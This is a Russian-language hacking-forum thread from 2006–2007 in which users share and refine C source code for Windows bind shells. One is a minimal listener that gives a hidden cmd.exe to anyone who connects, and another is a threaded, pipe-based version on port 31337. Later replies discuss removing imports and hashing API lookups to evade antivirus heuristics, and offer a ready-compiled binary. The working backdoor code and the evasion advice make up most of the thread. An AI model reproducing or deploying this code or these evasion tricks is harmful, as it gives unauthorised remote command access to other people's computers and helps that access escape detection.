ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

01.06.2006, 04:15
|
|
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
Провел на форуме: 1212666
Репутация:
662
|
|
Мини бинд:)
Код:
#include <winsock2.h>
int main(int argc, char* argv[]){
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s;
WSADATA HWSAdata;
WSAStartup(0x101,&HWSAdata);
s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
sa.sin_family=AF_INET;
sa.sin_port=htons((unsigned short)atoi(argv[1]));
sa.sin_addr.s_addr=0x00;
bind(s,(struct sockaddr *)&sa, 16);
listen(s,1);
s= accept(s,(struct sockaddr *)&sa,NULL);
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput = si.hStdError = (void *) s;
si.lpDesktop=si.lpTitle=(char *) 0x0000;
si.lpReserved2=NULL;
CreateProcess(NULL ,"cmd",NULL, NULL,TRUE,0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
Этот думаю по практичнее и по меньше 
запуск идет так
bind.exe port
пример:
bind.exe 4567
__________________
|
|
|

01.06.2006, 12:43
|
|
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме: 1290766
Репутация:
1236
|
|
Сообщение от grinay
Код:
#include <winsock2.h>
int main(int argc, char* argv[]){
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s;
WSADATA HWSAdata;
WSAStartup(0x101,&HWSAdata);
s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
sa.sin_family=AF_INET;
sa.sin_port=htons((unsigned short)atoi(argv[1]));
sa.sin_addr.s_addr=0x00;
bind(s,(struct sockaddr *)&sa, 16);
listen(s,1);
s= accept(s,(struct sockaddr *)&sa,NULL);
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput = si.hStdError = (void *) s;
si.lpDesktop=si.lpTitle=(char *) 0x0000;
si.lpReserved2=NULL;
CreateProcess(NULL ,"cmd",NULL, NULL,TRUE,0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
Этот думаю по практичнее и по меньше 
запуск идет так
bind.exe port
пример:
bind.exe 4567
ай молодец, чет я туплю последнее время)) кстати можно импорты снести - ща замучу) да и один минус - реконнекта уже не будет(
__________________
 
snow white world wide
Последний раз редактировалось sn0w; 01.06.2006 в 12:46..
|
|
|

02.06.2006, 05:43
|
|
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
Провел на форуме: 1212666
Репутация:
662
|
|
Какой еще нафиг обом ..все компилиться и без нее.. lcc-win32 попробуй..весит херню..
Да и тем более если сильно надо могу бинарник выложить..
__________________
|
|
|

11.06.2006, 09:59
|
|
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме: 7426415
Репутация:
1398
|
|
Сообщение от grinay
Какой еще нафиг обом ..все компилиться и без нее.. lcc-win32 попробуй..весит херню..
Да и тем более если сильно надо могу бинарник выложить..
На Microsoft visual C++ 6.0 не компилируеться. Можешь выложишь скомпилированный?
|
|
|

03.06.2006, 03:18
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
извиняюсь...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|

11.06.2006, 01:45
|
|
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме: 1290766
Репутация:
1236
|
|
вообщем в данный момент ничего сделать не могу, но как замучу так запостю.
__________________
 
snow white world wide
|
|
|

11.06.2006, 22:30
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
На Microsoft visual C++ 6.0 не компилируеться. Можешь выложишь скомпилированный?
Наверно не подключил lib(а) файл.
Скомпилированный модно найти по имени netcat.exe больше возножностей меньше глюков
|
|
|

13.06.2006, 01:58
|
|
Познающий
Регистрация: 25.08.2005
Сообщений: 57
Провел на форуме: 216363
Репутация:
76
|
|
Как стартовый вариант предлагаю нижеприведенный код. 2 кила на выходе замечания и предложения сыпем сюда)
имхо, поиск api-фций по хэшу не очень целесообразная байда для такой мелочи...
это мой:
Код:
SOCKET s;
int port = 31337;
DWORD WINAPI ToClient(LPVOID client_socket)
{
char buf[1024];
DWORD fexit;
char s_str[255];
s =((SOCKET *) client_socket)[0];
//а здесь будет создаватся пайп, запускатся консоль, итд...
STARTUPINFO si;
PROCESS_INFORMATION pi;
SECURITY_ATTRIBUTES sa;
DWORD N, total;
HANDLE cstdin, wstdin, rstdout, cstdout;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
if (!CreatePipe(&cstdin, &wstdin, &sa, 0))
return -1;
if (!CreatePipe(&rstdout, &cstdout, &sa, 0))
return -1;
GetStartupInfoA(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = FALSE;
si.hStdOutput = cstdout;
si.hStdError = cstdout;
si.hStdInput = cstdin;
getstr(s_str, 63);
if (!CreateProcessA(0, s_str, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi))
return -1;
while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))
{
GSleep(1);
if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
{
for (int i = 0; i < (int)total; i += 1)
{
ReadFile(rstdout, buf, 1, &N, 0);
send(s, buf, N, 0);
}
}
if (!ioctlsocket(s, FIONREAD , &N) && N)
{
recv(s, buf, 1, 0);
WriteFile(wstdin, buf, 1, &N, 0);
}
}
TerminateProcess(pi.hProcess, 0);
TerminateThread(pi.hThread, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
DbgMsg(__FILE__, __LINE__, "SHELL: client disconnected\n");
closesocket(s);
return 0;
}
DWORD WINAPI bindshell_main(LPVOID param)
{
struct sockaddr_in local;
SOCKET s;
local.sin_family = AF_INET;
local.sin_port = htons(shell_port);
local.sin_addr.s_addr = 0;
s = socket(AF_INET, SOCK_STREAM,0);
if (s == INVALID_SOCKET)
return -1;
if (bind(s, (struct sockaddr*)&local, sizeof(local)) == SOCKET_ERROR)
return -1;
DbgMsg(__FILE__, __LINE__, "SHELL: binded at %d port\n",
shell_port);
if (Glisten(s, 0x100))
{
closesocket(s);
return -1;
}
DbgMsg(__FILE__, __LINE__, "SHELL: waiting for connections...\n");
SOCKET client_socket;
sockaddr_in client_addr;
int client_addr_size=sizeof(client_addr);
while((client_socket = (SOCKET)accept(s, (sockaddr *)&client_addr, &client_addr_size)))
{
DWORD thID;
DbgMsg(__FILE__, __LINE__, "SHELL: client connected, remote addr %s\n",
inet_ntoa(client_addr.sin_addr));
CreateThread(NULL, NULL, ToClient, &client_socket, NULL, &thID);
}
closesocket(s);
return 0;
}
|
|
|

06.07.2006, 15:14
|
|
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме: 1290766
Репутация:
1236
|
|
Сообщение от Cr4sh
имхо, поиск api-фций по хэшу не очень целесообразная байда для такой мелочи...
ясен пень. просто для того чтбы снести импорты.  . сканеры вроде avz любят делать предположения относительно вероятного использования программы на основе того что она импортирует из api
__________________
 
snow white world wide
|
|
|

26.04.2007, 20:56
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Сообщение от sn0w
ясен пень. просто для того чтбы снести импорты.  . сканеры вроде avz любят делать предположения относительно вероятного использования программы на основе того что она импортирует из api
ИМХО отсутствие любого импорта выглядит ещё подозрительней, лучше уж сразу PE-компрессором неподдержываемой версии претворяться и импортировать через GetProcAddress)))
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|